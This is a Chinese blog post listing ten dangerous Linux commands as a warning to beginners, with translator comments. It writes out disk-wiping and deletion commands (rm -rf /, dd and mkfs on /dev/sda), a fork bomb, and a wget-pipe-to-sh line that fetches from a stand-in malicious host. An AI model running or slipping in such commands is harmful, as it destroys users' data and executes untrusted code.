詳解Linux系統中10個最危險的命令--新手必看!

概述

大多數的朋友都是主要用的windows系統,基本用鼠標就可以完成所有的操作,但是在Linux系統中很多都是鍵盤+命令操作電腦的,Linux命令行使用很有趣,但有時候也很危險,尤其是在你不確定你自己正在做什麼時候。今天分享這篇主要的目的是想讓你意識到在你運行某些命令時應該三思而後行。


1. rm -rf 命令

rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。

詳解Linux系統中10個最危險的命令--新手必看!

下列是一些rm 命令的選項。

rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯註:個人認為此處應該是說錯了,從常識看,應該是“甚至是非空的文件夾”)
rm -f 命令能不經過詢問直接刪除‘只讀文件’。(譯註:Linux下刪除文件並不在乎該文件是否是隻讀的,而只是在意其父目錄是否有寫權限。所以,-f這個參數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i參數來要求刪除確認,而-f則抑制了這個提示。)
rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢後,什麼也沒有了……)
rm -rf *: 強制刪除當前目錄的所有文件。
rm -rf . : 強制刪除當前文件夾及其子文件夾。
詳解Linux系統中10個最危險的命令--新手必看!

無論什麼時候,當你要執行rm -rf命令時都需要留心一點。建議在“.bashrc”文件對‘rm‘命令創建rm -i的別名,來預防用 ‘rm‘命令刪除文件時的事故,它會要求你確認每一個刪除請求。


2. :(){:|:&};: 命令

:()
{
: | : &
};:

說明:

在這裡是一個函數名,我們定義之,並在後面執行它。

:|:&,:函數的輸出通過管道傳給另一個冒號函數作為輸入,並且在後臺執行。

{ };標識著裡面的內容是一個函數主體。

為定義完成後的一次函數執行。

這是個fork 炸彈的實例。具體操作是通過定義一個名為 ‘:‘的函數,它會調用自己兩次,一次在前臺另一次運行在後臺。它會反覆的執行下去直到系統崩潰。

原理解析

首先需要說明的是:是一個shell內置命令,所以上面這段代碼只有在bash中才可能產生fork炸彈,因為在其他一些shell中,內置命令的優先級高於函數,所以執行:,總是執行內置命令。(:是一個空命令,while true等同於 while :,常用作佔位符)

先來看看函數的主體:|:&,使用管道的時候是兩個進程同時開始執行。

所以當執行一個:函數時,產生兩個新進程,然後一個原來的進程退出,這樣不停地遞歸下去,就產生了一個無限遞歸。按照這個增長模式的化,其增長趨勢約為2n2n。

切記!千萬別在公司正式的服務器上實驗~~


3. 命令> /dev/sda

詳解Linux系統中10個最危險的命令--新手必看!

上列命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。


4. mv 文件夾 /dev/null

這個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。

(其實這就是Linux所說的黑洞,通過將文件夾移動到黑洞,並不能阻止數據恢復軟件的恢復,所以,真正的徹底毀滅,需要採用專用的軟件或者手法來完成)

上列命令會將User目錄所有內容移動到/dev/null,這意味著所有東西都被‘捲入’黑洞 (null)之中。


5. wget http://malicious_source -O- | sh

上列命令會從一個(也許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。

注意: 你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。

當遇到這種需要時,我一般做法是先wget下來,然後我去讀一讀其中到底寫了些什麼,最後考慮是否執行。


6. mkfs.ext3 /dev/sda

上列命令會格式化塊設備‘sda’,在執行上列命令後塊設備(硬盤驅動器)會被格式化,嶄新的!

沒有任何數據,直接讓你的系統達到不可恢復的階段。

切記!無論什麼時候在生產都不能執行上述命令!


7. > file

上列命令常用來清空文件內容(通常也用於記錄命令輸出。不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了)。

如果用上列執行時輸入錯誤或無知的輸入類似 “>xt.conf” 的命令會覆蓋配置文件或其他任何的系統配置文件。


8. ^foo^bar

這個命令是用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。

事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的“黑客”技巧。


9. dd if=/dev/random of=/dev/sda

上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統可能陷入混亂和不可恢復的狀態。

上面其實有提到mv到黑洞並不能徹底刪除數據,那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。


10. 隱藏命令

下面的命令其實就是上面第一個命令 (rm -rf)。這裡的代碼是隱藏在十六進制裡的,一個無知的用戶可能就會被愚弄。在終端裡運行下面命令可能會擦除你的根分區。

這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/運行從未知來源的代碼。

詳解Linux系統中10個最危險的命令--新手必看!


雖然有些命令是可以恢復回來的,但是誰都不想經歷這個恢復的過程,不是嗎?所以,涉及到上面的命令一定要三思而後行!不過我們是搞技術的,是不是可以思考下怎麼從技術上去避免這些命令呢?

後面會分享更多devops和DBA方面的內容,感興趣的朋友可以關注一下~

詳解Linux系統中10個最危險的命令--新手必看!

相關推薦

推薦中...